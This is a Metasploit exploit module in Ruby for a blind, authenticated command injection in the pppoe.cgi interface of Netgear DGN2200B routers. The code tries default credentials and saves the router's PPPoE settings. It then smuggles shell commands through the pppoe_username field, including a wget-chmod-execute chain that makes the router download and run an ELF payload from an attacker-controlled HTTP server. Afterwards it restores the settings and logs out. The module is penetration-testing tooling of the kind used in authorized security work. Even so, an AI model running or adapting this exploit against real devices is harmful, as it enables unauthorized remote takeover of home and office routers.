##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
			'Description' => %q{
					Some Netgear Routers are vulnerable to an authenticated OS command injection
				on their web interface. Default credentials for the web interface are admin/admin
				or admin/password. Since it is a blind os command injection vulnerability, there
				is no output for the executed command when using the cmd generic payload. A ping
				command against a controlled system could be used for testing purposes. This module
				overwrites parts of the PPOE configuration, while the module tries to restore it
				after exploitation configuration backup is recommended.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'BID', '57998' ],
					[ 'EDB', '24513' ],
					[ 'OSVDB', '90320' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
				],
			'DisclosureDate' => 'Feb 15 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsbe Payload',
						{
						'Arch' => ARCH_MIPSBE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1
			))

		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
				OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
			], self.class)
	end

	def get_config(config, pattern)
		if config =~ /#{pattern}/
			#puts "[*] #{$1}"	#debugging
			return $1
		end
		return ""
	end

	def grab_config(user,pass)
		print_status("#{rhost}:#{rport} - Trying to download the original configuration")
		begin
			res = send_request_cgi({
				'uri'     => '/BAS_pppoe.htm',
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				if res.body =~ /pppoe_username/
					print_good("#{rhost}:#{rport} - Successfully downloaded the configuration")
				else
					fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
				end
			else
				fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		@pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
		@pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
		@pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")

		@runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")
		@wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")
		@pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")
		@wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")
		@wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")
		@wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")
		@wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")
		@wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")
		@wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")
		@wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")
		@wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")
		@opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")
		@pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")
		@pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")
		@pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")
		@apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")
	end

	def restore_conf(user,pass,uri)
		# we have used most parts of the original configuration
		# just need to restore pppoe_username
		cmd = @pppoe_username_orig
		print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration")

		res = request(cmd,user,pass,uri)

		if (!res)
			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
		end

		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)
	end

	def request(cmd,user,pass,uri)
		begin

		#original post request
		#login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26
		#&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5
		#&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen
		#&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0
		#&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0
		#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
		#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
		#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
			res = send_request_cgi(
				{
					'uri'	=> uri,
					'method' => 'POST',
					'authorization' => basic_auth(user,pass),
					'encode_params' => false,
					'vars_post' => {
						"login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok
						"pppoe_username" => cmd,
						"pppoe_passwd" => @pppoe_passwd_orig,
						"pppoe_servicename" => @pppoe_servicename_orig,
						"pppoe_dod" => "1",		#default must be ok
						"pppoe_idletime" => "5",	#default must be ok
						"WANAssign" => "Dynamic",	#default must be ok
						"DNSAssign" => "0",		#default must be ok
						"en_nat" => "1",		#default must be ok
						"MACAssign" => "0",		#default must be ok
						"apply" => @apply_orig,
						"runtest" => @runtest_orig,
						"wan_ipaddr" => @wan_ipaddr_orig,
						"pppoe_localip" => @pppoe_localip_orig,
						"wan_dns_sel" => @wan_dns_sel_orig,
						"wan_dns1_pri" => @wan_dns1_pri_orig,
						"wan_dns1_sec" => @wan_dns1_sec_orig,
						"wan_hwaddr_sel" => @wan_hwaddr_sel_orig,
						"wan_hwaddr_def" => @wan_hwaddr_def_orig,
						"wan_hwaddr2" => @wan_hwaddr2_orig,
						"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
						"wan_nat" => @wan_nat_orig,
						"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
						"pppoe_flet_sel" => @pppoe_flet_sel_orig,
						"pppoe_flet_type" => @pppoe_flet_type_orig,
						"pppoe_temp" => @pppoe_temp_orig,
						"opendns_parental_ctrl" => @opendns_parental_ctrl_orig
					}
				})
			return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	def logout(user,pass)
		begin
			res = send_request_cgi({
				'uri'     => '/LGO_logout.htm',
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
			end
		rescue ::Rex::ConnectionError
			fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		uri = '/pppoe.cgi'
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		@timeout = datastore['RELOAD_CONF_DELAY']

		#
		# testing Login
		#
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
		begin
			res = send_request_cgi({
				'uri'     => '/',
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		grab_config(user,pass)

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			cmd = "%26%20#{cmd}%20%26"
			res = request(cmd,user,pass,uri)
			if (!res)
				fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			else
				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			end
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"
		cmd = Rex::Text.uri_encode(cmd)
		cmd = "%26%20#{cmd}%20%26"
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		#
		#reload original configuration
		#
		restore_conf(user,pass,uri)

		#
		#lockout of the device and free the management sessions
		#
		logout(user,pass)
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

end